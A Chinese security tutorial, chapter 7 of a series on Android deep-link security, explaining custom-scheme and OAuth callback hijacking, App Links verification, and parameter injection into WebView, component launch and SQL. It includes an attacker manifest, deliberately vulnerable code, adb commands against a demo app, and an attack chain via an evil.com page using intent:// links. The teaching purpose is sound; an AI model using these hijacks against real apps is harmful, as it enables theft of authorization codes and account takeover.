Android移动安全第七章_DeepLink安全
移动安全
Deep Link 让 App 可以通过 URL 被唤起,这个机制把 Web 的入口引入了 Android 应用——URL 解析、参数校验、组件跳转,每一步都可能出问题。
> 系列目录: > > 1. Android 组件导出安全 > 2. Android Intent 安全 > 3. Android Binder 服务安全 > 4. Android ContentProvider 安全 > 5. Android WebView 安全 > 6. Android UI 欺骗与钓鱼 > 7. Android Deep Link 安全(本章) > 8. Android 广播安全 > 9. Android PendingIntent 安全 > 10. Android 系统设置安全 > 11. Android SSRF 与网络安全 > 12. Android 加密与数据存储安全 > 13. Android 认证与证书校验 > 14. Android Zip Slip 路径遍历 > 15. Android Fragment Injection > 16. Android SELinux 与沙箱机制 - - - - - - 1. 前言 ----- 用户在浏览器中点击一个链接,直接跳转到了某个 App 的特定页面——这就是 Deep Link(深度链接)。它让 Web 和 App 之间建立了连接,用户不需要手动打开 App 再找到对应功能。 Android 上实现 Deep Link 有三种方式: - 自定义 Scheme(如 `myapp://`):最早的方式,任何 App 都可以注册任意 scheme - Intent URL(如 `intent://`):第二章讲过,通过 URL 编码一个完整的 Intent - App Links(如 `https://example.com/path`):Android 6.0 引入,通过域名验证确保只有域名所有者的 App 能处理对应 URL 三种方式的安全性差异很大。自定义 Scheme 没有任何归属验证,任何 App 都可以声称自己能处理 `myapp://`;App Links 通过域名验证建立了 URL 和 App 之间的绑定关系,安全性高得多。 本章围绕 Deep Link 的注册机制、参数处理、以及链接劫持展开。 - - - - - - 2. 自定义 Scheme ------------- ### 2.1 注册方式 App 通过在 Manifest 中声明 intent-filter 来注册自定义 Scheme: ```xml <activity android:name=".DeepLinkActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="myapp" android:host="open" /> </intent-filter> </activity> ``` `BROWSABLE` category 表示这个 Activity 可以从浏览器中被唤起。注册后,用户在浏览器中点击 `myapp://open/path?key=value` 就会启动这个 Activity。 Activity 中通过 `getIntent().getData()` 获取 URL: ```java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Uri uri = getIntent().getData(); if (uri != null) { String path = uri.getPath(); // "/path" String key = uri.getQueryParameter("key"); // "value" } } ``` ### 2.2 Scheme 劫持 自定义 Scheme 没有归属验证。如果两个 App 注册了相同的 scheme,系统会弹出选择器让用户选择由哪个 App 处理。攻击者可以注册与目标 App 相同的 scheme: ```xml <!-- 攻击者 App 注册相同的 scheme --> <activity android:name=".HijackActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="myapp" android:host="open" /> </intent-filter> </activity> ``` 如果用户选择了攻击者的 App,URL 中携带的参数(可能包含 token、回调地址等)就被攻击者获取了。 在某些 Android 版本和厂商 ROM 上,如果只有一个 App 注册了某个 scheme,系统会直接跳转而不弹选择器。攻击者安装自己的 App 后,系统开始弹选择器,用户可能不会注意到多了一个选项。 ### 2.3 OAuth 回调劫持 很多 App 使用 OAuth(开放授权协议,允许用户授权第三方 App 访问自己在某个服务上的数据,而不需要提供密码)进行第三方登录。OAuth 流程中,授权服务器会把授权码(authorization code)通过重定向发送到 App 注册的回调 URL。 如果回调 URL 使用自定义 Scheme(如 `myapp://oauth/callback?code=xxx`),攻击者注册相同的 scheme 就能截获授权码: 1. 用户在目标 App 中发起 OAuth 登录 2. 浏览器跳转到授权服务器,用户授权 3. 授权服务器重定向到 `myapp://oauth/callback?code=AUTH_CODE` 4. 系统弹出选择器,如果用户选择了攻击者的 App,授权码被截获 5. 攻击者用授权码换取 access token,获得用户账户的访问权限 这是自定义 Scheme 最常见的实际攻击场景。 - - - - - - 3. App Links ------------ ### 3.1 原理 App Links 是 Android 6.0(API 23)引入的,用于解决自定义 Scheme 的归属验证问题。它使用标准的 `https://` URL,通过域名验证确保只有域名所有者的 App 能处理对应 URL。 注册方式: ```xml <activity android:name=".AppLinkActivity" android:exported="true"> <intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="example.com" android:pathPrefix="/app" /> </intent-filter> </activity> ``` `android:autoVerify="true"` 告诉系统在安装时验证域名归属。验证方式是:系统访问 `https://example.com/.well-known/assetlinks.json`,检查其中是否声明了当前 App 的包名和签名证书。 assetlinks.json 的内容: ```json [{ "relation": ["delegate_permission/common.handle_all_urls"], "target": { "namespace": "android_app", "package_name": "com.example.app", "sha256_cert_fingerprints": ["AB:CD:EF:..."] } }] ``` 验证通过后,用户点击 `https://example.com/app/xxx` 会直接跳转到 App,不弹选择器,其他 App 无法劫持。 ### 3.2 验证失败的情况 App Links 的验证可能失败: - 服务器没有部署 assetlinks.json - assetlinks.json 中的包名或证书指纹不匹配 - 服务器返回非 200 状态码 - 网络不可用(安装时无法访问服务器) 验证失败后,App Links 退化为普通的 Deep Link——系统会弹出选择器,和自定义 Scheme 一样存在劫持风险。 ### 3.3 验证状态检查 可以通过 ADB 检查 App Links 的验证状态: ```bash adb shell pm get-app-links com.example.app ``` 输出中 `verified` 表示验证通过,`none` 表示未验证。 - - - - - - 4. Deep Link 参数注入 ----------------- ### 4.1 URL 参数直接使用 很多 App 从 Deep Link URL 中读取参数后直接使用,没有做校验。常见的危险模式: #### 加载到 WebView ```java Uri uri = getIntent().getData(); String url = uri.getQueryParameter("url"); webView.loadUrl(url); // 攻击者控制 URL ``` 攻击者构造 `myapp://open?url=https://evil.com`,App 的 WebView 加载攻击者的页面。第五章讲过,如果 WebView 注册了 JS Bridge,攻击者的页面就能调用 App 的原生方法。 #### 跳转到内部组件 ```java Uri uri = getIntent().getData(); String target = uri.getQueryParameter("target"); Intent intent = new Intent(); intent.setClassName(getPackageName(), target); startActivity(intent); // 攻击者控制目标组件 ``` 攻击者构造 `myapp://open?target=com.example.app.InternalActivity`,绕过 exported=false 限制启动内部组件。这和第二章讲的 Intent 重定向本质相同,只是入口从 Intent extras 变成了 URL 参数。 #### 拼接到 SQL 或文件路径 ```java String id = uri.getQueryParameter("id"); Cursor cursor = db.rawQuery("SELECT * FROM users WHERE id = " + id, null); ``` 和第四章讲的 ContentProvider SQL 注入类似,只是注入点从 ContentResolver 参数变成了 URL 参数。 ### 4.2 演示 演示 App(com.demo.deeplinksecurity)的 VulnDeepLinkActivity 注册了 `demoapp://` scheme,从 URL 参数中读取 `action` 和 `url`,根据 action 执行不同操作: - `action=webview`:把 url 参数加载到 WebView - `action=navigate`:把 target 参数作为组件名跳转 ```bash # 通过 Deep Link 让 App 的 WebView 加载外部 URL adb shell am start -a android.intent.action.VIEW \ -d "demoapp://open?action=webview\&url=https://example.com" ``` App 的 WebView 加载了攻击者指定的 URL:  ```bash # 通过 Deep Link 跳转到内部组件 adb shell am start -a android.intent.action.VIEW \ -d "demoapp://open?action=navigate\&target=com.demo.deeplinksecurity.InternalSecretActivity" ``` 绕过 exported=false 限制,启动了内部页面:  -------------------------------------------------------------------------------------------------------------------------------------------- 5. Deep Link 与 Intent 的交互 ------------------------- ### 5.1 getIntent().getData() 的来源 Activity 通过 `getIntent().getData()` 获取 Deep Link URL。但这个 Intent 不一定来自浏览器——任何 App 都可以构造一个带 data 的 Intent 发送给导出的 Activity: ```java // 攻击者 App 直接构造 Intent Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse("myapp://open?token=stolen")); intent.setPackage("com.target.app"); startActivity(intent); ``` 这意味着即使 Deep Link 没有从浏览器触发,攻击者仍然可以通过 Intent 直接传入恶意 URL。所以 Deep Link 的参数校验不能依赖"URL 来自可信的浏览器"这个假设。 ### 5.2 intent:// URL 与 Deep Link 的结合 第二章讲过 intent:// URL 可以编码一个完整的 Intent。如果目标 App 的 WebView 支持 intent:// URL 处理,攻击者可以通过 Deep Link 先让 WebView 加载一个页面,页面中再通过 intent:// URL 触发更深层的攻击: ```php demoapp://open?action=webview&url=https://evil.com/exploit.html ``` exploit.html 中: ```html <a href="intent://dummy#Intent;component=com.target.app/.InternalActivity;end">click</a> ``` 这是一个两步攻击链:Deep Link → WebView → intent:// → 内部组件。 - - - - - - 6. 版本演进 ------- ### 6.1 Android 6.0(API 23):App Links 引入 App Links,通过 assetlinks.json 验证域名归属。验证通过后直接跳转,不弹选择器。 ### 6.2 Android 12(API 31):App Links 行为变化 Android 12 对 App Links 做了调整: - 未通过验证的 App Links 不再在选择器中显示,而是直接在浏览器中打开 - 用户可以在设置中手动管理每个 App 的链接处理行为 - 系统对 assetlinks.json 的验证更严格 这个改动提高了 App Links 的安全性,但也意味着如果 App 的 assetlinks.json 配置有问题,Deep Link 会完全失效(直接在浏览器打开而不是跳转到 App)。 ### 6.3 Android 12:intent-filter 必须声明 exported 第一章提到过,Android 12 要求所有带 intent-filter 的组件必须显式声明 `android:exported`。Deep Link 的 Activity 必须设置 `exported="true"`,否则无法安装。这不是安全改进(Deep Link Activity 本来就需要导出),但让开发者更明确地意识到这些组件是对外暴露的。 - - - - - - 7. 总结 ----- Deep Link 把 URL 变成了 App 的入口。 回顾一下: - 自定义 Scheme 没有归属验证,任何 App 都可以注册相同的 scheme 进行劫持,OAuth 回调是常见的攻击目标 - App Links 通过域名验证解决了劫持问题,但验证失败时会退化为普通 Deep Link - URL 参数直接传给 WebView、组件跳转、SQL 查询都是常见的注入点 - Deep Link 的参数不能假设来自可信来源,因为任何 App 都可以通过 Intent 直接传入 下一章讲 Android 广播安全。广播是 Android 的事件通知机制,第一章简单提过广播注入和劫持,下一章会深入展开——有序广播的优先级劫持、Sticky 广播的数据残留、以及 LocalBroadcastManager 的使用场景。 通过网盘分享的文件:deeplink安全演示.apk 链接: <https://pan.baidu.com/s/1OhxiQyFIazUmphxxBB3svA?pwd=95yg> 提取码: 95yg
发表于 2026-05-18 09:00:02
阅读 ( 2093 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
bReaK_1
15 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!